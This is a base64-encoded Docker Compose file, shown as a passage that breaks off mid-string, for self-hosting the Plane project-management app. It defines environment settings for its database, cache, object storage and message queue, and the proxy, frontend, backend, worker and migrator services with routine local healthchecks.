"eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogIERFQlVHOiAnJHtERUJVRzotMH0nCiAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCnNlcnZpY2VzOgogIHByb3h5OgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLXByb3h5OiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fUExBTkUKICAgICAgLSAnQVBQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC13b3JrZXIuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3Nfd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGJlYXQtd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWJlYXQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYmVhdC13b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgcGxhbmUtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1LjctYWxwaW5lJwogICAgY29tbWFuZDogInBvc3RncmVzIC1jICdtYXhfY29ubmVjdGlvbnM9MTAwMCciCiAgICBlbnZpcm9ubWVudDoKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogIC